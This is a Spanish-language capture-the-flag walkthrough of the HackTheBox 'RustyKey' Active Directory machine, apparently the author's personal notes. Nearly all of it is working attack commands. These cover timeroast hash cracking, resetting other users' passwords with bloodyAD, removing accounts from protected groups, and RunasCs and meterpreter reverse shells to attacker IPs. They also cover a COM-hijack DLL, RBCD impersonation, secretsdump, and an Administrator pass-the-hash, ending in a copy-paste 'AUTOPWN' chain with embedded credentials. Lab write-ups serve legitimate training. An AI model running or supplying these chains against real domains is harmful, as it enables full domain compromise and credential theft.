RustyKey (ACTIVE)
rr.parker \ 8#t5HE8L!W3A
ldapsearch -x -H ldap://10.10.11.75 -s base
sudo ntpdate -u 10.10.11.75
impacket-getTGT rustykey.htb/'rr.parker':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
export KRB5CCNAME=rr.parker.ccache
nxc smb DC.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --users --shares
./kerbrute_linux_amd64 bruteforce -d rustykey.htb --dc 10.10.11.75 /mnt/Windows/Hacking/Academias/HackTheBox/Machines/RustyKey/content/combs.txt -t 1
bloodhound-python -d rustykey.htb -dc DC.rustykey.htb -ns 10.10.11.75 -u 'rr.parker' -p '8#t5HE8L!W3A' -c All --zip -k
python3 timeroast.py 10.10.11.75 > timeroast_hashes.txt
nxc ldap DC.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --computers | awk '{print $5}' | grep '\$' | tr -d '\$' | tr '[:upper:]' '[:lower:]' > timeroast_wordlist.txt
python3 timecrack.py ../timeroast_hashes.txt timeroast_wordlist.txt
sudo ./hashcat.bin -m 31300 /mnt/Windows/Hacking/Academias/HackTheBox/Machines/RustyKey/exploits/Timeroast/timeroast_hashes.txt /usr/share/wordlists/rockyou.txt
$sntp-ms$d793b7a6bee90dd588a0ae96fd770cde$1c0111e900000000000a44094c4f434ceca3461afd48f38ee1b8428bffbfcd0aeca39fce1d48c642eca39fce1d48fd9f:Rusty88!
IT-COMPUTER3$ \ Rusty88!
impacket-getTGT rustykey.htb/'IT-COMPUTER3$':'Rusty88!' -dc-ip 10.10.11.75
export KRB5CCNAME=IT-COMPUTER3\$.ccache
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember 'HELPDESK' 'IT-COMPUTER3$'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'DD.ALI' '8#t5HE8L!W3A'
DD.ALI \ 8#t5HE8L!W3A
impacket-getTGT rustykey.htb/'DD.ALI':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
Con Ali parece ser que no podemos llegar a ningún lado y no parece tener ningún permiso especial
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'GG.ANDERSON' '8#t5HE8L!W3A'
impacket-getTGT rustykey.htb/'GG.ANDERSON':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
La cuenta de gg.anderson está deshabilitada.
En resumen, el único usuario que podemos controlar parece ser DD.ALI, el resto o están deshabilitados o tiran error al obtener el ticket.
Los que tiran error al obtener el ticket es porque están en el grupo PROTECTED USERS, no podemos obtener un ticket usando cifrado RC4, tenemos que usar AES:
El permiso AddMember sobre Protected Objects también nos permite quitarlos, por lo que quitamos ambos grupos y así nos podemos loguear con estos usuarios.
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'EE.REED' '8#t5HE8L!W3A'
impacket-getTGT rustykey.htb/'EE.REED':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
Parece ser que nos da error
nxc smb DC.rustykey.htb -u 'EE.REED' -p '8#t5HE8L!W3A' -k
SMB DC.rustykey.htb 445 DC [-] rustykey.htb\EE.REED:8#t5HE8L!W3A STATUS_LOGON_TYPE_NOT_GRANTED
Vamos a probar con BB.MORGAN
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'BB.MORGAN' '8#t5HE8L!W3A'
impacket-getTGT rustykey.htb/'BB.MORGAN':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
Con este si que nos deja:
nxc smb DC.rustykey.htb -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -k --shares
evil-winrm -i 10.10.11.75 -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -r rustykey.htb -i DC.rustykey.htb -k BB.MORGAN.ccache
Una vez dentro podemos enviarnos rev shells por runas, para ello importante que no estén en Protected Objects, sino no saldrá la shell, pivotamos a EE.REED:
./RunasCs.exe 'EE.REED' '8#t5HE8L!W3A' powershell.exe -r 10.10.16.73:4444
COM hijacking
COM son las siglas de "Component Object Model" (Modelo de Objetos Componente).
Es una tecnología fundamental de Microsoft, integrada en el sistema operativo Windows, que actúa como un "intermediario" universal. Su principal objetivo es permitir que diferentes piezas de software (componentes) se comuniquen e interactúen entre sí, incluso si fueron escritas en distintos lenguajes de programación.
¿Cómo funciona? El Registro y el CLSID
Aquí es donde se vuelve clave para entender el "hijacking". Para que este sistema funcione, Windows no busca los componentes por su nombre de archivo (como corrector.dll).
En su lugar, utiliza el Registro de Windows como un gigantesco directorio o "páginas amarillas":
- Cada componente COM registrado tiene un número de identificación único y universal llamado CLSID (Class ID).
- Cuando un programa necesita usar un componente (por ejemplo, el corrector ortográfico), le dice a Windows: "Oye, necesito cargar el componente con el CLSID
{...un-número-largo...}". - Windows busca ese CLSID en el Registro.
- El Registro le dice al sistema operativo dónde encontrar el archivo (
.dllo.exe) real que debe cargar para usar esa función.
El ataque
El "secuestro de COM" explota precisamente este sistema de directorio.
El atacante no necesita modificar el archivo legítimo. En su lugar, engaña al Registro:
- Busca un CLSID de un componente legítimo que se use a menudo.
- Crea una entrada falsa en el Registro (específicamente en la parte del registro del usuario,
HKEY_CURRENT_USER, que tiene prioridad sobre el registro del sistema,HKEY_LOCAL_MACHINE). - Esta entrada falsa usa el mismo CLSID legítimo, pero le dice a Windows que el archivo
.dlla cargar está en una ubicación diferente, apuntando al malware del atacante.
Comprobamos si existen CLSID, relacionados con softwares de compresión (como se menciona en el pdf):
reg query HKCR\CLSID /s /f "zip"
El de 7zip es el que más llama la atención:
HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}
(Default) REG_SZ 7-Zip Shell Extension
HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
(Default) REG_SZ C:\Program Files\7-Zip\7-zip.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.82 LPORT=5555 -f dll -o hack.dll
Modificamos el registro de windows para que el CLSID apunte a nuestro dll malicioso
reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\Windows\TEMP\hack.dll" /f
HKLM -> Se necesitan privilegios de administrador para hacer este cambio, además este cambio afecta a todos los usuarios de la máquina, por lo que si otro usuario ejecuta 7zip recibiremos la shell como ese usuario.
/ve -> Se modifica el valor predeterminado (la ruta)
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
getuid
shell
Como somos miembros de DelegationManager podemos editar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del DC (RBCD) para que así el DC permita a otros servicios o máquinas autenticarse como cualquier otro usuario contra el DC.
Set-ADComputer 'DC$' -PrincipalsAllowedToDelegateToAccount 'IT-COMPUTER3$' #Assing delegation privileges
"Soy IT-COMPUTER3$, y quiero que me des un ticket de servicio como si yo fuera el usuario backupadmin":
impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'rustykey.htb/IT-COMPUTER3$:Rusty88!'
- No podemos impersonar al Administrator porque tiene
Cannot Be Delegated -spn 'cifs/DC.rustykey.htb'significa que nos estamos intentando autenticar contra el servicio de archivos del propio DC, con el objetivo de conseguir un Ticket de Servicio, luego eso nos permitirá hacer Pass The Ticket
export KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache
impacket-secretsdump rustykey.htb/'backupadmin'@DC.RUSTYKEY.HTB -k -no-pass -dc-ip 10.10.11.75
impacket-getTGT rustykey.htb/'Administrator' -hashes "aad3b435b51404eeaad3b435b51404ee:f7a351e12f70cc177a1d5bd11b28ac26" -dc-ip DC.rustykey.htb
evil-winrm -i 10.10.11.75 -u 'Administrator' -r rustykey.htb -i DC.rustykey.htb -k Administrator.ccache
AUTOPWN
Para cada vez que tenga que conectarme a la máquina solo copiar y pegar:
impacket-getTGT rustykey.htb/'IT-COMPUTER3$':'Rusty88!' -dc-ip 10.10.11.75
export KRB5CCNAME=IT-COMPUTER3\$.ccache
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember 'HELPDESK' 'IT-COMPUTER3$'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'IT'
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'BB.MORGAN' '8#t5HE8L!W3A'
impacket-getTGT rustykey.htb/'BB.MORGAN':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
export KRB5CCNAME=BB.MORGAN.ccache
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'EE.REED' '8#t5HE8L!W3A'
evil-winrm -i 10.10.11.75 -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -r rustykey.htb -i DC.rustykey.htb -k BB.MORGAN.ccache
./RunasCs.exe 'EE.REED' '8#t5HE8L!W3A' powershell.exe -r 10.10.16.82:4444